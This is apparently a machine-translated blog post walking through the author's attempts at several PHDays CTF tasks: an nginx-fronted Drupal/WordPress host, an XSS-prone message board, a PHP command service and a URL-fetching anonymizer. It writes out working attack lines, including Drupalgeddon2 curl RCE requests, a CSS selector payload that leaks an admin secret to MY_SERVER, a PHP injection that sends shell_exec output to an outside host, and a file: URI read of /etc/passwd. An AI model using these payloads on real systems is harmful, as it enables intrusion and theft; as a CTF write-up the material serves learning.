Hi, Habr. Being a layout designer, this year decided to participate in the CTF from PHDays.
After reviewing the list of tasks, I decided to try my luck with the Engeeks car. Looking ahead, I will say that I never got the flag in this task. But others decided. Therefore, sign for what I could get to the bottom. Do not disappear the same finds.
Engeeks
172.104.246.110The name clearly hinted at the nginx web server. After inspecting the main (and only) page of the site found that the feedback form does not work. The specified url for processing sent messages responds with status 404.
')

After reviewing the source of the send script, we see another commented url `/ admino4ka / contact_dev.php`. Now this page is given a page with status 404, without disclosing information. But a few days after the start of the contest, the transition to this link revealed the real ip address and port of the server backend in the signature. An example took a picture from the Internet.
In the original ip address was 139.162.190.95 and port 63425.Page
139.162.190.95 : 63425 looks identical to
172.104.246.110/admino4ka , which confirms the disclosure of the real ip backend server. After reviewing the content, we see links to 3 domains in the .local zone.

We try to contact one of them by replacing the Host header. And nothing.
The page responds with 403 status.The very first thought that there is a check for access from the local ip address. Add the X-Forwarded-For header with the value 127.0.0.1. Bingo! We see the blog page on the drupal.

To access the blog on Jumla script is identical. But the WordPress site, when trying to open redirects on himself (http: //wp.local: 63425). After several experiments, it turned out that changing the request method from GET to POST helped to overcome this barrier.
For convenience, I wrapped the addresses
wp.local ,
drupal.local and
joomla.local on 127.0.0.1 and started the local nginx server with the following config.
events { } http { server { server_name wp.local; location / { proxy_method POST; proxy_set_header Host wp.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } server { server_name drupal.local; location / { proxy_set_header Host drupal.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } server { server_name joomla.local; location / { proxy_set_header Host joomla.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } }
What allowed to quietly study the contents of these sites, clicking on direct links. Only to access the rest api WordPress had to change
proxy_method POST;
on
proxy_method GET;
Study sites unfortunately did not lead to anything. CMS versions were pretty fresh. Even in despair, he tried unsuccessfully to get passwords to the CMS admins. The drupalgedon2 exploit2 also did not work on the drupal site.
curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=uname -a&form_id=user_register_form' -H 'Host: drupal.local' -H 'X-Forwarded-For: 127.0.0.1' 'http://139.162.190.95:63425/user/register?element_parents=account/mail/%23value&ajax_form=1'
When it seemed that everything was unsuccessful, a hint appeared in the telegrams of the channel: “Hint for eNgeeks: Drupalgeddon2 is still alive”. Which again gave impetus, dig in the direction of Drupalgeddon2. And for good reason.
curl -k 'http://139.162.190.95:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \ -H 'Host: drupal.local' \ -H 'X-Forwarded-For: 127.0.0.1' \ --data "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=sleep+5"
Execution of this command showed that there are blind RCE. Team sleep worked on the server. But the joy was short-lived, attempts to construct more significant commands provoked WAF on the server, canceling the possibility of execution. Having tormented for a long time, I left this task without receiving a flag.
UPDATE: The law of meanness. Working RCE turned out to unleash until the end immediately after writing this article.
Board
172.104.246.110 : 9091
Looking into the source code of the site, I was very happy. Here he is! Here it is the same task for the coder! The source said that before me is a SPA application. In addition, at that moment when I began to decide, there was already a hint in the telegram channel for this task.
Hint2 for board: OK guys ... you need to get api sources. Aaand nothing of your hacky things works? Maybe there is an exception that returns you full file path? Did you notice punycode dependency?
Well, punycode dependency? Really. In the source code of the bundle, we see that package.json is also in the build. And you can see the dependence on the module punycode version 2.1.0 (Last at the moment).

Having found this module on the githaba, I notice a fresh open Issue:

Then I look for which of the values ​​transmitted to the server is sensitive to punycode. It is not so difficult to find him. This is the Title field on the chat screen.

Server error, gives us the path disclosure. And going to
172.104.246.110 : 9091 / 05da126b0edfb13d3b9377797b5f25d6 / methods.js you can see the source code of the methods module. It is logical to assume that
172.104.246.110 : 9091 / 05da126b0edfb13d3b9377797b5f25d6 / index.js shows the source API server.
Here you can find a lot of interesting things. For example, the fact that the flag is written in the secret field of the admin.
async function createUser({ id, style } = {}) { id = (0, _utils.sanitizeId)(id) || (0, _v.default)(); let created = new Date().getTime(), session = (0, _md.default)(`${id}|${created}|${(0, _v.default)()}`), user = { id, created, session, secret: id === _bot.adminId ? process.env.FLAG : 'nah... you don\'t need a secret...', style: (0, _utils.sanitize)(style) }; await _utils.db.Users.insertOne(user); return user; }
Or the fact that specifying
__NEW_FEATURE__ = true
and passing css in the style field, we can make ourselves the same beautiful background of the board as the admin.
app.post('/api/id', async (req, res) => { let _ref2 = await (0, _methods.createUser)({ style: req.body.__NEW_FEATURE__ && req.body.style }), id = _ref2.id, session = _ref2.session, secret = _ref2.secret; if (!id) return res.status(400).end(); res.cookie('session', session, { maxAge: 3600000, httpOnly: true }); res.status(200).json({ id, secret }); });
And also, we confirm our guesses about XSS in this task.
async function visitPage(url) { let browser = await _puppeteer.default.launch(chromeSettings), page = await browser.newPage(); await page.setCookie({ name: 'session', value: adminSession, url, path: '/', expires: Math.floor(new Date().getTime() / 1000) + 5, httpOnly: true }); await page.goto(url, { 'waitUntil': 'domcontentloaded' }); await new Promise(r => setTimeout(r, visitingTimeout)); await browser.close(); }
It remains only to stuff the payload in style, write a message on the admin board, and pulling off his session to peek at the secret value. But not everything is so simple. As you can see, the style is processed before being saved. That excludes the possibility to go beyond the style tag and execute the script.
function sanitize(str) { str = (str || '').replace(/[<>'\\*\n\s]/g, ''); return forbiddenWordsRE.test(str) ? null : str; }
If you examine the generated DOM of the board page, you can see that the secret is for some reason added to the content attribute of the element with the id secret.

After finding this moment, all the pieces of the puzzle fell into place. The script is not needed, get the flag through CSS.
#secret[content^=A]{background-image:url(http://MY_SERVER/url/A)} #secret[content^=a]{background-image:url(http://MY_SERVER/url/a)} #secret[content^=B]{background-image:url(http://MY_SERVER/url/B)} #secret[content^=b]{background-image:url(http://MY_SERVER/url/b)} #secret[content^=C]{background-image:url(http://MY_SERVER/url/C)} #secret[content^=c]{background-image:url(http://MY_SERVER/url/c)} ...
Having made similar payloads for receiving each secret symbol and forcing the administrator to go to your board, you can see the appeal to the paths corresponding to the symbol in the logs of your web server. And so symbol-by-character pull out the value of the flag.
I used the
webhook.site service instead of the server, because I decided to drag the objects with improvised means.
mnogorock
172.104.137.194This task was decided surprisingly very quickly. Having opened the link, at once we see the hint in the source code of the page.

We are hinted to send a POST request with a
comand
field equal to
inform()
. I send, and in the answer comes the line "du u now de wei?"
I try to send something else as a command. Let's say test. The service responds with an error and a cool clip about the red cap.

From here we understand that we have a black box written in PHP.
Experimentally we find that constructions of the form
[inform(), inform()]
,
inform(inform())
and
'inform'()
work by executing the function
inform
on the server. I try to execute php function by wrapping it in quotes.
'sleep'(5)
By the response time, you can see that the function has completed. And then I made a mistake. Instead of executing commands through the
system
, which would immediately give the output of the command to the source code, I tried to call functions via
shell_exec
. And this gave only blind RCE. Neither curl, nor wget on the server worked to transmit the results of the command. Saved php function
file_get_contents
.
The final exploit looked like this:
'file_get_contents'('http://MY_SERVER/url/'.'base64_encode'('shell_exec'('cat index.php')))
As a third-party server,
webhook.site again performed. Having received the source code of the script was a little confused, not finding the flag inside. But after walking a little bit in folders, the flag was quickly found in one of the files at the root.
CryptoApocalypse
92.53.66.223Probably the most trolling among all. The authors placed many honipots. By inserting different addresses in the field, I became convinced that this is a service anonymizer. Having checked the processing of quotes, the address http: // 'we see one of the developers' jokes:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url 'http://'' at line 1
It looks almost very convincing. If it were not for the space after the word url, I don’t know how much time I would have spent searching for a nonexistent SQL injection.
Having tried to connect to the mysql service on port 3306, we see the message:
Host MY_IP is not allowed to connect to this MySQL server
Substituting the address
127.0.0.1 made sure that the service can open local addresses. But when contacting
127.0.0.1 : 3306 via an anonymizer, we see that at least access has been received, but
Got packets out of order
. Which means that the mysql server was trying to process the fields from the request.
Look like that's it. Dead end. We go to the telegram channel for a hint and see:
Hint for CryptoApocalypse: check dump.tar.gz
92.53.66.223/dump.tar.gz . Very funny. What else?
Hint for CryptoApocalypse: No need for ssrf, read the source file!
Hint for CryptoApocalypse: Ok, ok! You should get the source code using “file” via curl!
So, this is already useful. But the attempt to open the file: /// etc / passwd link opens another trolling of the task creators. Only a few hours left before the end of the CTF. Panic already trying different options for writing references. Suddenly! file: '/// etc / passwd

I am a little surprised if this is just another trolling from the authors. But no. The file: '/// etc / hosts link also works. Good. It remains to find the flag. Immediately checked the file /var/www/html/index.php and was not mistaken. The flag was inside.
PS: As I found out later, instead of quotes in
file:'///var/www/html/index.php
you could put any character.